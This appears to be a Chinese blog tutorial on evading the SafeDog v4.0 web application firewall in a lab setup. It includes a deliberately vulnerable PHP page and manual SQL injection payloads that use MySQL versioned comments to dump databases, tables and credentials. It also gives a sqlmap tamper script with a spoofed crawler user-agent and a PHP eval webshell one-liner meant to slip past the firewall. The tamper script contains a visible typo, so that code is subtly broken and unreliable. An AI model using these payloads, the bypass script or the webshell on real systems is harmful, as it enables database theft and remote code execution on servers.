Contents
  1. 1. 实验环境
  2. 2. 手工bypass
    1. 2.1. 安全狗检测以及绕过方式
    2. 2.2. 手工注入
  3. 3. 编写tamper脚本
  4. 4. 过狗一句话
  5. 5. 致谢

绕过安全狗v4.0默认配置防护,手工过狗,编写tamper脚本使sqlmap过狗,过狗一句话

实验环境

靶机

1
2
3
4
5
windows server 2003
apache 2.4.23
php 5.4.45
mysql 5.0.10
安全狗Apache版 V4.0.18089

web注入点:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$conn = mysql_connect('127.0.0.1','root','root');
mysql_select_db("test",$conn);
$id=$_GET['id'];
$sql="select id,username,password from yh where id='$id'";
echo $sql;
echo "<br><hr><br>";
$result=mysql_query($sql,$conn);
$obj=mysql_fetch_object($result);
echo "Id:$obj->id";
echo "</br>Username:$obj->username";
echo "</br>Password:$obj->password";
?>

ps:安装安全狗时设置服务名,可以讲phpstudy设置为系统服务,进管理工具->服务中查看

手工bypass

安全狗检测以及绕过方式

经过测试发现安全狗会检测

1
2
3
4
and 1=2
union
from
()

等这些函数

可以通过以下下方式绕过

1
2
3
4
/*!50001and*/ 1=2 或者 and -1=-2
/*!50001union*/
/*!50001from*/
/*!50001()*/

其实的50001可以用其他的五位数字替换,但是有的五位数字不生效,具体生效范围未测试

手工注入

判断注入点

1
2
http://192.168.86.129/sql/
?id=1'

images

判断显示位

1
2
http://192.168.86.129/sql/
?id=1 and -1=-2 /*!11111union*/ select 1,2,3

images

查当前数据库名和用户名

1
2
http://192.168.86.129/sql/
?id=1 and -1=-2 /*!11111union*/ select user/*!11111()*/,2,3

images
查看所有的数据库名

1
2
http://192.168.86.129/sql/
?id=1 and -1=-2 /*!11111union*/ select group_concat(schema_name),2,3 /*!11111from*/ information_schema.schemata

images

查当前数据库下表名

1
2
http://192.168.86.129/sql/
?id=1 and -1=-2 /*!11111union*/ select group_concat(table_name),2,3 /*!11111from*/ information_schema.tables where table_schema=0x74657374

images

查看列名

1
2
http://192.168.86.129/sql/
?id=1 and -1=-2 /*!11111union*/ select group_concat(column_name),2,3 /*!11111from*/ information_schema.columns where table_name=0x7968

images

查看数据

1
2
http://192.168.86.129/sql/
?id=1 and -1=-2 /*!11111union*/ select group_concat(username),group_concat(password),3 /*!11111from*/ yh

images

编写tamper脚本

1
2
3
4
5
6
7
8
9
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOWEST

def dependencies():
pass

def tamper(payload, **kwargs):
return payload.replace("UNION", "/!*50001union*/").replace('FROM', '/*!50001from*/').replace('()','/*!50001()*/').replace('AND','/*!50001and*/')

保存到sqlmap的tamper目录下

使用时

1
python sqlmap.py -u "http://192.168.86.129/sql/?id=1" --tamper "safedog.py" --user-agent="Mozilla/5.0(compatible;Googlebot/2.1;+http://www.google.com/bot.html)"

注意:sqlmap默认的user-agnet头为:sqlmap/1.0.12.10#dev (http://sqlmap.org)
安全狗默认会拦截这个user-agent头
images
使用--user-agent为user-agent指定ua头即可

过狗一句话

1
<?php function dog(){ return $_POST[1]; } eval(dog()); ?>

致谢

1
2
3
4
5
tamper编写
https://www.cnblogs.com/test404/p/7071868.html
必火表哥
http://www.xss.tv/
http://www.nvhack.com/
Contents
  1. 1. 实验环境
  2. 2. 手工bypass
    1. 2.1. 安全狗检测以及绕过方式
    2. 2.2. 手工注入
  3. 3. 编写tamper脚本
  4. 4. 过狗一句话
  5. 5. 致谢